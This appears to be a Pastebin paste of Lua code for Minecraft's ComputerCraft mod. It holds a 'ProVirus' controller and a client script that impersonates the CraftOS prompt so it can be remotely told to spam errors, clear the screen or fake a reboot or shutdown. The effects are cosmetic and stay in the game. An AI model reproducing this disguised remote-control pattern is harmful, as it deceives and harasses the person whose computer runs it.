Guest User

Untitled

a guest
Jul 16th, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.68 KB | None | 0 0
  1. term.clear()
  2. term.setCursorPos(1,1)
  3. rednet.open("left")
  4. rednet.open("right")
  5. rednet.open("back")
  6. function credits()
  7. term.clear()
  8. term.setCursorPos(1,1)
  9. print("---ProVirus---")
  10. print("ProVirus Made and coded by ComputerCraftFan11")
  11. end
  12. print("---ProVirus---")
  13. print("1. Check Computers")
  14. print("2. Credits")
  15. print("3. Quit")
  16. while true do
  17. local e,key = os.pullEvent( "key" )
  18. if key == 2 then
  19. break
  20. elseif key == 3 then
  21. credits()
  22. elseif key == 4 then
  23. os.reboot()
  24. end
  25. end
  26. term.clear()
  27. term.setCursorPos(1,1)
  28. print("---ProVirus---")
  29. print("Waiting for a computer to respond.")
  30. print("Make sure you intalled the virus correctly.")
  31. print("Press Ctrl+T to cancel.")
  32. id, message = rednet.receive()
  33. rednet.send(id, "Received")
  34. term.clear()
  35. term.setCursorPos(1,1)
  36. print("---ProVirus---")
  37. print("Computer " ..id.. " has joined!")
  38. print("Would you like to hack that computer?")
  39. print("1. Yes")
  40. print("2. No")
  41. while true do
  42. local e,key = os.pullEvent( "key" )
  43. if key == 2 then
  44. break
  45. elseif key == 3 then
  46. os.reboot()
  47. end
  48. end
  49. function menu()
  50. term.clear()
  51. term.setCursorPos(1,1)
  52.  
  53. print("---ProVirus---")
  54. print("Connected to " ..id)
  55. print("Commands: | Fun: | Other: |")
  56. print("1.Spam |2.FakeOff|3. |")
  57. print("4.Clear |5. |6. |")
  58. print("7.Reboot |8. |9. |")
  59. print("10. |11. |12. |")
  60. end
  61. menu()
  62. while true do
  63. local e,key = os.pullEvent( "key" )
  64. if key == 2 then
  65. rednet.send(id, "Spam")
  66. menu()
  67. end
  68. if key == 5 then
  69. rednet.send(id, "Clear")
  70. menu()
  71. end
  72. if key == 8 then
  73. rednet.send(id, "Boot")
  74. menu()
  75. end
  76. if key == 3 then
  77. rednet.send(id, "Off")
  78. menu()
  79. end
  80. end
  81. And install this on theirs:
  82. term.clear()
  83. term.setCursorPos(1,1)
  84. rednet.open("left")
  85. rednet.open("right")
  86. rednet.open("back")
  87. local derr = 1;
  88. print("CraftOS 1.3")
  89. print("> ")
  90. while true do
  91. rednet.send(derr, "Hello")
  92. id, message = rednet.receive()
  93.  
  94. if message == "Spam" then
  95. print("Error!")
  96. print("Error!")
  97. print("Error!")
  98. print("Error!")
  99. print("Error!")
  100. print("Error!")
  101. print("Error!")
  102. print("Error!")
  103. print("Error!")
  104. print("Error!")
  105. print("Error!")
  106. print("Error!")
  107. print("Error!")
  108. print("Error!")
  109. print("Error!")
  110. print("Error!")
  111. print("Error!")
  112. print("Error!")
  113. print("Error!")
  114. print("Error!")
  115. print("Error!")
  116. print("Error!")
  117. print("Error!")
  118. end
  119. if message == "Clear" then
  120. term.clear()
  121. term.setCursorPos(1,1)
  122. end
  123. if message == "Boot" then
  124. term.clear()
  125. term.setCursorPos(1,1)
  126. print("CraftOS 1.3")
  127. print("> ")
  128. end
  129. if message == "Off" then
  130. print("Goodbye.")
  131. sleep(1)
  132. term.clear()
  133. term.setCursorPos(1,1)
  134. end
  135. end
Add Comment
Please, Sign In to add comment